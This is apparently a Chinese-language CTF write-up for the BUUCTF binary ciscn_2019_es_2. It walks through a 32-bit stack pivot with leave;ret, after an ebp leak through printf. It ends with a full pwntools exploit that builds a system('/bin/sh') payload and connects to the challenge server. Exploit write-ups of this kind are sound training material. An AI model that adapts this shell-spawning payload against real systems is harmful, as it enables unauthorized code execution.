话不多说,直接上题(BUUCTF)
漏洞代码如下:
缓冲区 s 能构成溢出,但是 ret 太小了构造不了完整的 ROP
当缓冲区溢出空间不足以布置完整的 ROP 链时,利用栈迁移扩展攻击空间
在 32 位中关键指令是 leave; ret
主要用于 改变 ESP,让程序跳转到新的栈地址
因为 leave
会 将 esp
设为 ebp
,并且 ebp
由我们控制,所以可以实现 栈迁移
mov ebp, new_stack_address ; 控制 ebp
leave ; esp = ebp, pop ebp
ret ; 弹出新的返回地址并跳转
在 nop 处下断点调试
ebp 距离我们的输入差 0x38,ebp – 0x38 就拿到了我们参数 s 在栈上的位置
由于我们要用到 leave;ret 来劫持栈,所以先找一下 levae;ret 的位置
可以看到执行 leave 后,ebp 已经是我们修改的了
但是 esp 还不是,因为 pop ebp 和 esp 没有关系
但是如果这时候我再执行一次 leave,那么我们不是就可以 mov esp,ebp,把 ebp 的值赋值给 esp,那么我们就修改 esp 了
这也是为什么返回地址要改成 leave_ret 指令
可以看到,这时候 ret 指令还没执行,而且 esp 已经指向我们 system 的地址了
有些人注意到了,system 地址之前有四个 a,而且我们一开始想要让他修改成的地址就是 0xff83c1b0
为什么现在 esp 变成了0xff83c1b4,因为 leave 相当于 mov esp,ebp 和 pop ebp 两条指令
mov 执行完,esp 变成 0xff83c1b0,然后 pop 执行完,esp 变成 0xff83c1b4,ebp 变成了 0x61616161,也就是四个 a
printf()
函数在输出的时候遇到 \0
会停止
如果我们将参数 s 全部填满,这样就没法在末尾补上 \0
,那样就会将 ebp 连带着输出
payload= b'a' * 0x27 + b'b'
r.sendline(payload)
r.recvuntil('b')
ebp = u32(r.recv(4))
第一个 'aaaa'
随便输入,如果一开始将 system
函数写第一个
那么我们在用 leave;ret
劫持栈的时候要抬高 4 字节
接着跟上 system
函数的地址
后面是执行完 system
函数后的返回地址,这边也可以随便写
之后这个地址指向的是我们写在栈上的 '/bin/sh'
字符串
payload = b'aaaa' + p32(sys) + p32(0) + p32(ebp - 0x28) + b"/bin/sh"
将 payload 补齐长度
payload = payload.ljust(0x28,'\x00')
栈劫持,获取 shell
payload += p32(ebp - 0x38) + p32(leave_ret)
from pwn import *
p = remote('node5.buuoj.cn',28813)
elf = ELF('./ciscn_2019_es_2')
leave_ret = 0x08048562
p.recvline()
payload1 = b'a' * 0x25 + b'b'* 3
p.send(payload1)
p.recvuntil('abbb')
ebp = u32(p.recv(4))
payload2 = b'a' * 0x4 + p32(elf.plt['system']) + p32(0) + p32(ebp - 0x28) + b"/bin/sh"
payload2 = payload2.ljust(0x28, b'\x00')
# p32(ebp - 0x38):覆盖栈上的 ebp,调整栈指针,使其指向 payload2 的起始位置
# p32(leave_ret):执行 leave; ret,完成栈迁移,进入 ROP 执行
payload2 += p32(ebp - 0x38) + p32(leave_ret)
p.sendline(payload2)
p.interactive()
成功拿到 flag
暂无评论内容